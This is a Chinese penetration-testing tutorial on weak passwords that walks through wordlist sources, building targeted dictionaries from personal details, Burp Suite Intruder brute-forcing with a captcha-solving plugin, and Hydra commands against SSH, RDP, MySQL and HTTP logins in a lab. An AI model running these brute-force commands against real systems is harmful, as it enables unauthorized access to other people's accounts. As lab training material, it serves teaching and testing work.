【网安-Web渗透测试-漏洞系列】弱口令

目录

一、弱口令含义

1、什么是弱口令

弱的⼝令是指容易被猜测到的⽤户、密码(123,admin,abc)等。

bash 复制代码
user
liudeli
123456
admin
abcdef
11111
123
321
... 省略 ...

2、弱口令产生的原因

弱⼝令的来源有两个原因:

  1. 人员密码安全意识薄弱,存在疏忽大意行为,为便于记忆,在多平台使用简单密码或重复密码。
  2. 部分管理平台沿用初始默认密码,未及时进行修改更换。

二、运行环境

(1)目标主机1

名称 值
操作系统 Windows server 2003
中间件 PHP5.5.38 + Apache2.4
数据库 MySQL 5.6

(2)目标主机2

名称 值
操作系统 Ubuntu Server 16
是否存在SSH 是

(3)攻击机

名称 值
操作系统 Kali Linux 2023.4

三、密码爆破实践

1、爆破字典

(1)为何需要字典?

无需手动逐个尝试破解弱口令,不仅费时费力、效率极低,逐一试猜也得不偿失;可直接采用工具爆破方式。通用模式适配各类场景与使用人群,依托大众化字典匹配即可实现全覆盖检测,简便高效。

(2)通用模式

通用模式就是根据人的通性,生成的口令字典,获取方式简单,数量众多

① 常见密码

收录常见的密码,有各自不同的类型,是否破解出来完全看运气。

bash 复制代码
# 下载SecLists⽂件夹
https://github.com/danielmiessler/SecLists
https://github.com/danielmiessler/SecLists/blob/master/Passwords/500-worstpasswords.txt

如果发现Github无法访问,则需要在本地计算机配置hosts文件。

Windows下的hosts文件路径:

bash 复制代码
# 需要Administrator权限下打开记事本或其它文本编辑工具
‌C:\Windows\System32\drivers\etc\hosts

Linux下的hosts文件路径:

bash 复制代码
# 需要root权限或支持sudo操作的用户
/etc/hosts

在hosts文件中新增Github相关的域名和IP:

bash 复制代码
140.82.113.3      github.com
140.82.112.5      api.github.com
185.199.108.133   raw.githubusercontent.com
185.199.109.133   raw.githubusercontent.com
185.199.110.133   raw.githubusercontent.com
185.199.111.133   raw.githubusercontent.com
140.82.114.6      github.global.ssl.fastly.net

② 默认密码

不同平台也会公开相关的默认密码,需自行下载或寻找

bash 复制代码
https://github.com/hetianlab/DefaultCreds-cheat-sheet

(3)定制模式

① 概念

根据网络搜索关于某人的特定信息生成的定制字典(其他平台的密码,邮箱,qq,电话,生日等)。

例如:

bash 复制代码
klimov/klimov0524
klimov/klimov1995
klimov/klimov1922661
...
1593...@qq.com/klimov1995
1593...@qq.com/klimov1922661

定制模式需结合个人与公司相关信息构建,难度更高,且依赖前期信息收集工作;将通用模式与定制模式相结合,即可生成合规有效的弱口令字典。

② 收集信息后定制

bash 复制代码
fofa:https://fofa.info/

或

搜索引擎 收集得到的信息

③ 给定制模式生成字典

下载weakpass-main:

bash 复制代码
https://github.com/zzzteph/weakpass

2、BP基础爆破

(1)部署地址:

bash 复制代码
C:\phpStudy\WWW\wz

(2)导入数据库

说明:数据库的SQL文件位于wz靶场内。并导入bank和game数据库。

(3)访问地址为

bash 复制代码
http://192.168.179.144:90/wz

(4)开始爆破

Step1:在BurpSuite中开启"intercept on";并开启浏览器的代理

Step2:输入用户和密码,点击登录

Step3:右击选择"Send Intruder"


Step4 :配置BP爆破

现在知道用户名是admin,但不知道密码;配置payloads添加爆破字典(SecLists-master\Passwords)

Step5:爆破成功

3、BP验证码爆破

(1)启动验识别服务(不截包)

Step1 :打开NEW_xp_CAPTCHA服务

Step2:浏览服务是否正常

bash 复制代码
http://127.0.0.1:8899

(2)在BP中添加插件

Step1 :在BP中,添加python解析器

Step2 :添加BP拓展插件

(3)部署海洋靶场

Step1:部署位置

bash 复制代码
C:\phpStudy\WWW\ocean

Step2:访问安装地址

bash 复制代码
http://192.168.179.144:90/ocean/install/index.php

勾选同意后,点继续。

Step3 :只要没报错,就点继续。

Step4 :配置好相关信息后,点确认安装。
Step5:安装成功

页面中的访问地址不能照搬,而是要注意端口号及部署目录的调整!


Step6:访问后台管理地址

bash 复制代码
http://192.168.179.144:90/ocean/0v0srz/login.php?gotopage=%2Focean%2F0v0srz%2F

(4)使⽤BP爆破(截包)

Step1:在BurpSuite中开启"intercept on";并开启浏览器的代理

Step2 :输入用户和密码后,复制验证码地址,并点登录

Step3:右击选择"Send Intruder"


Step4 :为密码 和 验证码 都添加"Add %$"

被选择的密码被显示为:123

被选中的验证码被显示为:GFBN

Step5 :为密码设置密码本

Step6 :为验证码设置插件

Step7 :配置资源池,为爆破作准备

Step8:添加一个验证码地址在BP中

添加一个瞎跑:

bash 复制代码
xiapao: http://192.168.179.144:90/ocean/include/vdimgck.php

备注:xiapao不可随意修改,这是在xp_CAPTCHA.py脚本中已经定义好的。

点 Start attack 开始爆破

Step8 :查看结果

从图中结果可以看出,利用BP实现密码和验证码的爆破,已成功登录了系统。

4、九头蛇(hydra)爆破SSH

(1)说明

Hydra 是知名组织 THC 推出的开源密码暴力破解工具,功能强大,Kali 系统默认预装,支持几乎所有协议的在线密码破解。

可用于爆破 SSH、RDP 远程桌面、MySQL 数据库等登录密码;破解成功率取决于字典强度与设备硬件性能。

hydra的参数说明:

bash 复制代码
-l login ⼩写,指定⽤户名进⾏破解
-L file ⼤写,指定⽤户的⽤户名字典
-p pass ⼩写,⽤于指定密码破解,很少使⽤,⼀般采⽤密码字典。
-P file ⼤写,⽤于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使⽤指定账户和密码试探
-M file 指定⽬标ip列表⽂件,批量破解。
-o file 指定结果输出⽂件
-f 找到第⼀对登录名或者密码的时候中⽌破解。
-t tasks 同时运⾏的线程数,默认是16
-w time 设置最⼤超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执⾏ hydra -R /path/to/hydra.restore 就可以继续任务。)
-x ⾃定义密码。

(2)多用户处理

此命令为用户名和密码同时进行的SSH暴力破解。

bash 复制代码
$ hydra -L /home/kali/username.txt -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.179.131 -t 16 -vV

命令解释:

  1. hydra
    作用:启动 Hydra 暴力破解工具
    用途:用来爆破各种服务密码(SSH/FTP/MySQL/RDP 等)
  2. -L /home/kali/username.txt
    -L= 指定多个用户名的文本文件
  3. -P /usr/share/wordlists/rockyou.txt.gz
    -P = 指定密码字典文件
    字典路径:/usr/share/wordlists/rockyou.txt.gz
    这是 Kali 自带的 超大型常用密码字典(最经典)
    .gz 是压缩包,Hydra 可以直接读取
  4. ssh://192.168.179.131
    指定目标服务 + IP
    ssh:// = 爆破 SSH 服务
    192.168.179.131 = 目标服务器 IP
  5. -t 16
    -t = 设置线程数(并发数)
    这里是 16 线程同时爆破
    数字越大,破解越快,但容易被封
  6. -vV
    -v = 显示详细过程
    -V = 显示每一次尝试的用户名 + 密码
    合起来就是:显示完整爆破日志(看得见每一次试密码)

(3)单用户处理

此命令为已知用户名的情况下对SSH进行暴力破解。

bash 复制代码
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.179.131 -t 16 -vV

命令解释:

  1. hydra
    作用:启动 Hydra 暴力破解工具
    用途:用来爆破各种服务密码(SSH/FTP/MySQL/RDP 等)
  2. -l jan
    -l = 指定单个用户名
    这里用户名是:jan
    意思:只爆破用户 jan 的密码
  3. -P /usr/share/wordlists/rockyou.txt.gz
    -P = 指定密码字典文件
    字典路径:/usr/share/wordlists/rockyou.txt.gz
    这是 Kali 自带的 超大型常用密码字典(最经典)
    .gz 是压缩包,Hydra 可以直接读取
  4. ssh://192.168.179.131
    指定目标服务 + IP
    ssh:// = 爆破 SSH 服务
    192.168.179.131 = 目标服务器 IP
  5. -t 16
    -t = 设置线程数(并发数)
    这里是 16 线程同时爆破
    数字越大,破解越快,但容易被封
  6. -vV
    -v = 显示详细过程
    -V = 显示每一次尝试的用户名 + 密码
    合起来就是:显示完整爆破日志(看得见每一次试密码)

运行效果 :

破解后得到的结果如下:

bash 复制代码
用户名:jan
密码为:armando

5、九头蛇(hydra)爆破Window登录密码(rdp远程)

bash 复制代码
$ hydra -l administrator -P password.txt -t 3 -e ns 192.168.179.144 rdp

6、九头蛇(hydra)爆破mysql登录密码

bash 复制代码
$ hydra -l root -P password.txt -t 3 -e ns 192.168.179.144 mysql

7、九头蛇(hydra)爆破HTTP请求

bash 复制代码
hydra -t 3 -l luojie -P password.txt -s 80 192.168.179.144 http-get-form "/wz/login.php:user=^USER^&pass=^PASS^:⽤户名或密码错误"
相关推荐
学逆向的4 小时前
C++ 合并命名空间
开发语言·c++·网络安全
学逆向的5 小时前
C 局部静态变量
c语言·开发语言·网络安全
杭州默安科技9 小时前
从“被动响应”到“主动遏制”:AI Agent时代,网络防御体系如何重构?
人工智能·网络安全·ai智能体
砚凝霜10 小时前
[CTF Misc 图片隐写] misc1:文件末尾追加 flag(strings 一秒出 flag,附原理)
网络安全
Gnevergiveup11 小时前
ATT&CK红蓝对抗实战指南-Windows安全基础
笔记·网络安全
白帽攻防录12 小时前
某pc客户端app从xss到rce实战案例
前端·网络安全·黑客·xss·rce·src漏洞·app漏洞
是真的小外套14 小时前
网络安全实战第6期:Hydra爆破SSH实战
安全·web安全·ssh
是真的小外套15 小时前
网络安全实战第5期:Wireshark抓明文密码
安全·web安全·wireshark
学网安的肆伍15 小时前
认证机制攻防学习|PortSwigger Authentication 靶场复现总结(二):用户名枚举进阶
学习·web安全·网络安全·burpsuite·portswigger·认证安全·靶场复现
网络小江15 小时前
组网第41课:ACL 门禁——标准/扩展、规则顺序、time-range、in/out 方向
运维·网络安全·acl·访问列表·in/out